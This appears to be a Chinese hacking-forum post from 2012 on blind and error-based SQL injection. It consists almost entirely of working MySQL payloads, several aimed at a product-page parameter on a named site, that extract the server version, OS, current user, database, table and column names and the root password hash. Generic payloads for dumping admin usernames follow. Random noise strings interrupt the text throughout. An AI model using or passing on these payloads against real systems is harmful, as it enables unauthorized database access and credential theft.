标题: 盲注详细内容 [打印本页] 作者: admin 时间: 2012-9-5 14:59 标题: 盲注详细内容 判断版本号 8 j/ R* S/ k7 ]0 m3 Z& i0 C! T http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23 9 E [9 P# F) d4 l* H1 v9 F$ b0 u ^' z2 l M F
判断系统6 |) [' e& z+ `$ E
- i1 F) B5 i% S; c# k http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23$ |( |+ X. Z `
/ C+ `. [0 R9 g" G
8 c) K$ L+ w. F: B: p * Y% P+ I5 {. d当前 user()6 U W; H( \' S- H+ b: A
+ ?: b! ~) @% | http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23 ' B& D# B6 b% t6 ^6 n: v7 D" O9 L ) A+ d! B- C: K# k- O: t6 F" P, z% q9 M, C8 {$ n" C
. j3 y6 ~ f8 z9 m& `0 D0 t1 S
当前 database()) a7 g' Z! i" s: D% r' Q1 c1 O# m8 x http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23 ' d) M2 f- G% J' q " g F6 t7 ~0 N! B3 M2 p4 k2 ~, \& k: N2 t. @: _# G
- t3 T4 ~% L. S
2 x/ u& |4 \% E! _ |& \
root hash! j6 X: c% k3 P/ _# n: P0 ^! A
/ w; g) A& c) s e! T$ _) xhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23 0 w }; ^# A( f! q8 B, m( d. q. t q4 Q% P( D1 v
0 B, |; t& D+ T- ~6 B. d
" x( x: V7 z. y5 ~- j' K
当前 数据库表名 $ [+ w. [( f9 {0 C( p, U7 _' [ D, U2 v# h" r http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23+ g1 \. U- p) i( M
, E* J8 l' u! r" T8 ` ( \ o7 l7 m- @3 @4 }0 m( d & ?9 }5 \/ C( z当前 数据库 user_name 字段9 k% V6 _; |. w* E7 f* ?3 g2 l8 J
3 g% D Z$ R4 D9 s U2 @ http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23 ' E/ l+ i, b; L( d7 k) L! E * r8 C! k6 h% C, `当前 数据库 字段 password & E1 w9 Q- n# q# B3 |2 G! b) yhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%237 N! ?. Y% P" Z& g( V/ z
, h# n/ z$ Q/ Y" l3 P) W: I& C6 K报错注射" N8 N5 p1 ~7 D. z) T; S- O
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a) 1 R, S/ z: ^- N5 ^7 ~& r1 T9 n; u0 ~5 J9 f/ f
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)2 D& @/ D) N: k% _6 w/ c! n
, v/ t# }% [, `9 F9 h
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)